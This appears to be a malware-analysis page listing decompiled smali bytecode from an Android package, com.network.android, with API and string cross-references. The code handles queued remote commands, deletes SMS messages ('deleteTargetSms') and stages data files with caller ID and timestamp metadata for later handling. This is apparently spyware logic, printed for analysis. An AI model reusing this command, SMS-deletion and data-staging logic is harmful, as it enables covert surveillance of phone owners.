      327invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      328const/16 v0, 0x3d
      330invoke-virtual {v2, v0}, Ljava/lang/String;->indexOf(I)I
      331move-result v0
      332add-int/lit8 v0, v0, 0x1
      334const-string v3, "&s="
      336invoke-virtual {v2, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      337move-result v3
      339invoke-virtual {v2, v0, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      340move-result-object v0
      341iput-object v0, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      342new-instance v0, Ljava/lang/StringBuilder;
      344const-string v2, "addCommandToQueue cmdMsg: "
      346invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      348iget-object v2, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      350invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      351move-result-object v0
      353invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      354move-result-object v0
      356invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      357iget-char v0, v4, Lcom/network/android/a/a;->f:C
      358const/16 v2, 0x30
      359if-eq v0, v2, :cond_266
      361iget-object v0, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      362const/16 v2, 0x26
      364invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(I)I
      365move-result v0
      367iget-object v2, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      368const/4 v3, 0x0
      370iget-object v5, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      371const/16 v6, 0x26
      373invoke-virtual {v5, v6}, Ljava/lang/String;->indexOf(I)I
      374move-result v5
      376invoke-virtual {v2, v3, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      377move-result-object v2
      378new-instance v3, Ljava/lang/StringBuilder;
      380const-string v5, "addCommandToQueue ackId id: "
      382invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      384invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      385move-result-object v3
      387invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      388move-result-object v3
      390invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      392sget-object v3, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      394invoke-virtual {v3, v2}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      395iput-object v2, v4, Lcom/network/android/a/a;->h:Ljava/lang/String;
      397invoke-static {}, Lcom/network/i/e;->b()Ljava/lang/String;
      398move-result-object v2
      399sput-object v2, Lcom/network/android/a/c;->b:Ljava/lang/String;
      400new-instance v2, Ljava/lang/StringBuilder;
      402const-string v3, "addCommandToQueue mommand message cmdMsg = "
      404invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      406iget-object v3, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      408invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      409move-result-object v2
      411invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      412move-result-object v2
      414invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      416iget-object v2, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      417add-int/lit8 v0, v0, 0x1
      419invoke-virtual {v2, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
      420move-result-object v0
      421iput-object v0, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      422new-instance v0, Ljava/lang/StringBuilder;
      424const-string v2, "addCommandToQueue mommand message cmdMsg = "
      426invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      428iget-object v2, v4, Lcom/network/android/a/a;->b:Ljava/lang/String;
      430invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      431move-result-object v0
      433invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      434move-result-object v0
      436invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      437new-instance v0, Ljava/lang/StringBuilder;
      439const-string v2, "addCommandToQueue commandAck: "
      441invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      443iget-object v2, v4, Lcom/network/android/a/a;->h:Ljava/lang/String;
      445invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      446move-result-object v0
      448invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      449move-result-object v0
      451invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      452cond_266:
      453sget-object v2, Lcom/network/android/a/b;->d:Ljava/lang/Object;
      454monitor-enter v2
      455try_start_269:
      456sget-object v0, Lcom/network/android/a/b;->c:Ljava/util/LinkedHashSet;
      458iget-object v3, v4, Lcom/network/android/a/a;->h:Ljava/lang/String;
      460invoke-virtual {v0, v3}, Ljava/util/LinkedHashSet;->contains(Ljava/lang/Object;)Z
      461move-result v0
      462if-eqz v0, :cond_291
      463new-instance v0, Ljava/lang/StringBuilder;
      465const-string v3, "addCommandToQueue cmdId= "
      467invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      469iget-object v3, v4, Lcom/network/android/a/a;->h:Ljava/lang/String;
      471invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      472move-result-object v0
      474const-string v3, " was already performed. NOT adding it to command queue"
      476invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      477move-result-object v0
      479invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      480move-result-object v0
      482invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      483monitor-exit v2
      484move v0, v1
      485goto/16 :goto_10e
      486cond_291:
      487sget-object v0, Lcom/network/android/a/b;->c:Ljava/util/LinkedHashSet;
      489invoke-virtual {v0}, Ljava/util/LinkedHashSet;->size()I
      490move-result v0
      491add-int/lit8 v0, v0, 0x1
      492const/16 v3, 0x3c
      493if-lt v0, v3, :cond_2ce
      495sget-object v0, Lcom/network/android/a/b;->c:Ljava/util/LinkedHashSet;
      497invoke-virtual {v0}, Ljava/util/LinkedHashSet;->iterator()Ljava/util/Iterator;
      498move-result-object v3
      500invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
      501move-result-object v0
      502check-cast v0, Ljava/lang/String;
      503new-instance v5, Ljava/lang/StringBuilder;
      505const-string v6, "addCommandToQueue commandSet is full ("
      507invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      509sget-object v6, Lcom/network/android/a/b;->c:Ljava/util/LinkedHashSet;
      511invoke-virtual {v6}, Ljava/util/LinkedHashSet;->size()I
      512move-result v6
      514invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      515move-result-object v5
      517const-string v6, "), remove "
      519invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      520move-result-object v5
      522invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      523move-result-object v0
      525invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      526move-result-object v0
      528invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      530invoke-interface {v3}, Ljava/util/Iterator;->remove()V
      531cond_2ce:
      532sget-object v0, Lcom/network/android/a/b;->c:Ljava/util/LinkedHashSet;
      534iget-object v3, v4, Lcom/network/android/a/a;->h:Ljava/lang/String;
      536invoke-virtual {v0, v3}, Ljava/util/LinkedHashSet;->add(Ljava/lang/Object;)Z
      537monitor-exit v2
      538try_end_2d6:
      539invoke-static {}, Lcom/network/b/b;->h()V
      541invoke-static {p1}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      542if-eqz p3, :cond_2f3
      543new-instance v0, Ljava/lang/StringBuilder;
      545const-string v2, "addCommandToQueue SystemUtils.deleteTargetSms: "
      547invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      549invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      550move-result-object v0
      552invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      553move-result-object v0
      555invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      557invoke-static {p1, p3}, Lcom/network/h/b;->a(Landroid/content/Context;Ljava/lang/String;)V
      558cond_2f3:
      559sget-object v2, Lcom/network/android/a/b;->b:Ljava/lang/Object;
      560monitor-enter v2
      561try_end_2f6:
      562sget-object v0, Lcom/network/android/a/b;->a:Ljava/util/Vector;
      564invoke-virtual {v0, v4}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
      565monitor-exit v2
      566try_end_2fc:
      567const-string v0, "addCommandToQueue end "
      569invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      570try_end_301: goto/16 :goto_129
      571catchall_303: move-exception v0
      572try_start_304: monitor-exit v2
      573throw v0
      574try_end_306: move-exception v0
      575try_start_307: new-instance v2, Ljava/lang/StringBuilder;
      577const-string v3, "addCommandToQueue exception- "
      579invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      581invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      582move-result-object v3
      584invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      585move-result-object v2
      587invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      588move-result-object v2
      590invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      591goto/16 :goto_2d6
      592catchall_31e: move-exception v0
      593monitor-exit v2
      594throw v0
      595catch_321: move-exception v0
      596move-object v3, v2
      597goto/16 :goto_18b
      598cond_325: move v3, v0
      599goto/16 :goto_101
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.listFiles
      • java.io.File.getAbsolutePath
      • java.lang.String.endsWith
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.FileReader.<init>
      • java.io.File.length
      • java.io.FileReader.read
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.File.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.String.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.<init>
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.String.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.Integer.parseInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.File.getAbsolutePath
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.delete
      Strings
      • Chunker - chunkAllFilesInFolder start
      • /data/data/com.network.android/chnkr/
      • Chunker - chunkAllFilesInFolder list file is empty. returning
      • .params
      • Chunker - chunkAllFilesInFolder file
      • does not exists from some reason. wierd. moving to the next file
      • Chunker - chunkAllFilesInFolder exception in loop.:
      • Chunker - chunkAllFilesInFolder deleted file:
      • Chunker - chunkAllFilesInFolder - read bytes from file:
      • Chunker - chunkAllFilesInFolder read file error. moving to next file. fres:
      • ile lentgh:
      • Chunker - chunkAllFilesInFolder deleting file:
      • Chunker - chunkAllFilesInFolder file data:
      • \n
      • Chunker - params missing:
      • Chunker - file data:
      • Chunker - chunkAllFilesInFolder originalFileName:
      • Chunker - chunkAllFilesInFolder timestamp:
      • Chunker - chunkAllFilesInFolder callerID:
      • Chunker - chunkAllFilesInFolder fileSize:
      • Chunker - chunkAllFilesInFolder isCompressed :
      • Chunker - chunkAllFilesInFolder param1 :
      • Chunker - original file size not equal to copied file size. returning.
      • Chunker - chunkAllFilesInFolder deleted file:
      Position Instruction Meta Information
      0monitor-enter p0
      1try_start_1:
      2const-string v0, "Chunker - chunkAllFilesInFolder start "
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      5new-instance v0, Ljava/io/File;
      7const-string v1, "/data/data/com.network.android/chnkr/"
      9invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      11invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
      12move-result-object v10
      13if-nez v10, :cond_1a
      15const-string v0, "Chunker - chunkAllFilesInFolder list file is empty. returning"
      17invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      18try_end_18: monitor-exit p0
      19return-void
      20try_start_1a: array-length v11, v10
      21const/4 v0, 0x0
      22move v9, v0
      23goto_1d: if-ge v9, v11, :cond_18
      24aget-object v12, v10, v9
      25try_end_21: const/4 v1, 0x0
      26try_start_22:
      27invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      28move-result-object v0
      30const-string v2, ".params"
      32invoke-virtual {v0, v2}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
      33move-result v2
      34if-eqz v2, :cond_32
      35goto_2e: add-int/lit8 v0, v9, 0x1
      36move v9, v0
      37goto/16 :goto_1d
      38cond_32:
      39invoke-virtual {v12}, Ljava/io/File;->exists()Z
      40move-result v2
      41if-nez v2, :cond_a4
      42new-instance v0, Ljava/lang/StringBuilder;
      44const-string v2, "Chunker - chunkAllFilesInFolder file "
      46invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      48invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      49move-result-object v2
      51invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      52move-result-object v0
      54const-string v2, " does not exists from some reason. wierd. moving to the next file"
      56invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      57move-result-object v0
      59invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      60move-result-object v0
      62invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      63try_end_54: goto/16 :goto_2e
      64catch_55: move-exception v0
      65goto_56: new-instance v2, Ljava/lang/StringBuilder;
      67const-string v3, "Chunker - chunkAllFilesInFolder exception in loop.: "
      69invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      71invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      72move-result-object v3
      74invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      75move-result-object v2
      77invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      78move-result-object v2
      80invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      82invoke-virtual {v12}, Ljava/io/File;->delete()Z
      83if-eqz v1, :cond_8a
      84new-instance v0, Ljava/lang/StringBuilder;
      86const-string v2, "Chunker - chunkAllFilesInFolder deleted file: "
      88invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      90invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      91move-result-object v2
      93invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      94move-result-object v0
      96invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      97move-result-object v0
      99invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      101invoke-virtual {v1}, Ljava/io/File;->delete()Z
      102cond_8a: new-instance v0, Ljava/lang/StringBuilder;
      104const-string v1, "Chunker - chunkAllFilesInFolder deleted file: "
      106invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      108invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      109move-result-object v1
      111invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      112move-result-object v0
      114invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      115move-result-object v0
      117invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      118try_end_a0: goto/16 :goto_2e
      119catchall_a1: move-exception v0
      120monitor-exit p0
      121throw v0
      122cond_a4: new-instance v2, Ljava/lang/StringBuilder;
      124invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      126invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      127move-result-object v0
      129const-string v2, ".params"
      131invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      132move-result-object v0
      134invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      135move-result-object v0
      136new-instance v8, Ljava/io/File;
      138invoke-direct {v8, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      139try_start_bc: new-instance v0, Ljava/io/FileReader;
      141invoke-direct {v0, v8}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
      143invoke-virtual {v8}, Ljava/io/File;->length()J
      144move-result-wide v1
      145long-to-int v1, v1
      146new-array v1, v1, [C
      148invoke-virtual {v0, v1}, Ljava/io/FileReader;->read([C)I
      149move-result v0
      150new-instance v2, Ljava/lang/StringBuilder;
      152const-string v3, "Chunker - chunkAllFilesInFolder - read bytes from file: "
      154invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      156invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      157move-result-object v2
      159invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      160move-result-object v2
      162invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      163if-gtz v0, :cond_11f
      164new-instance v1, Ljava/lang/StringBuilder;
      166const-string v2, "Chunker - chunkAllFilesInFolder read file error. moving to next file. fres:"
      168invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      170invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      171move-result-object v0
      173const-string v1, " ile lentgh: "
      175invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      176move-result-object v0
      178invoke-virtual {v8}, Ljava/io/File;->length()J
      179move-result-wide v1
      181invoke-virtual {v0, v1, v2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      182move-result-object v0
      184invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      185move-result-object v0
      187invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      189invoke-virtual {v12}, Ljava/io/File;->delete()Z
      190new-instance v0, Ljava/lang/StringBuilder;
      192const-string v1, "Chunker - chunkAllFilesInFolder deleting file: "
      194invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      196invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      197move-result-object v1
      199invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      200move-result-object v0
      202invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      203move-result-object v0
      205invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      206goto/16 :goto_2e
      207catch_11b: move-exception v0
      208move-object v1, v8
      209goto/16 :goto_56
      210cond_11f: new-instance v0, Ljava/lang/StringBuilder;
      212const-string v2, "Chunker - chunkAllFilesInFolder file data: "
      214invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      215new-instance v2, Ljava/lang/String;
      217invoke-direct {v2, v1}, Ljava/lang/String;-><init>([C)V
      219invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      220move-result-object v0
      222invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      223move-result-object v0
      225invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      226new-instance v0, Ljava/lang/String;
      228invoke-direct {v0, v1}, Ljava/lang/String;-><init>([C)V
      230const-string v2, "\n"
      232invoke-virtual {v0, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      233move-result-object v5
      234array-length v0, v5
      235const/4 v2, 0x6
      236if-eq v0, v2, :cond_18a
      237new-instance v0, Ljava/lang/StringBuilder;
      239const-string v2, "Chunker - params missing: "
      241invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      242array-length v2, v5
      244invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      245move-result-object v0
      247invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      248move-result-object v0
      250invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      251new-instance v0, Ljava/lang/StringBuilder;
      253const-string v2, "Chunker - file data: "
      255invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      256new-instance v2, Ljava/lang/String;
      258invoke-direct {v2, v1}, Ljava/lang/String;-><init>([C)V
      260invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      261move-result-object v0
      263invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      264move-result-object v0
      266invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      268invoke-virtual {v12}, Ljava/io/File;->delete()Z
      269new-instance v0, Ljava/lang/StringBuilder;
      271const-string v1, "Chunker - chunkAllFilesInFolder deleted file: "
      273invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      275invoke-virtual {v8}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      276move-result-object v1
      278invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      279move-result-object v0
      281invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      282move-result-object v0
      284invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      285goto/16 :goto_2e
      286cond_18a: const/4 v0, 0x0
      287aget-object v3, v5, v0
      288const/4 v0, 0x1
      289aget-object v2, v5, v0
      290const/4 v0, 0x2
      291aget-object v0, v5, v0
      293invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      294move-result v4
      295const/4 v0, 0x3
      296aget-object v0, v5, v0
      298invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      299move-result v0
      300const/4 v1, 0x4
      301aget-object v1, v5, v1
      303invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      304move-result v6
      305const/4 v1, 0x5
      306aget-object v5, v5, v1
      307new-instance v1, Ljava/lang/StringBuilder;
      309const-string v7, "Chunker - chunkAllFilesInFolder originalFileName: "
      311invoke-direct {v1, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      313invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      314move-result-object v1
      316invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      317move-result-object v1
      319invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      320new-instance v1, Ljava/lang/StringBuilder;
      322const-string v7, "Chunker - chunkAllFilesInFolder timestamp: "
      324invoke-direct {v1, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      326invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      327move-result-object v1
      329invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      330move-result-object v1
      332invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      333new-instance v1, Ljava/lang/StringBuilder;
      335const-string v7, "Chunker - chunkAllFilesInFolder callerID:"
      337invoke-direct {v1, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      339invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      340move-result-object v1
      342invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      343move-result-object v1
      345invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      346new-instance v1, Ljava/lang/StringBuilder;
      348const-string v7, "Chunker - chunkAllFilesInFolder fileSize: "
      350invoke-direct {v1, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      352invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      353move-result-object v1
      355invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      356move-result-object v1
      358invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      359new-instance v1, Ljava/lang/StringBuilder;
      361const-string v7, "Chunker - chunkAllFilesInFolder isCompressed : "
      363invoke-direct {v1, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      365invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      366move-result-object v1
      368invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      369move-result-object v1
      371invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      372new-instance v1, Ljava/lang/StringBuilder;
      374const-string v7, "Chunker - chunkAllFilesInFolder param1 : "
      376invoke-direct {v1, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      378invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      379move-result-object v1
      381invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      382move-result-object v1
      384invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      385int-to-long v13, v0
      387invoke-virtual {v12}, Ljava/io/File;->length()J
      388move-result-wide v15
      389cmp-long v1, v13, v15
      390if-eqz v1, :cond_224
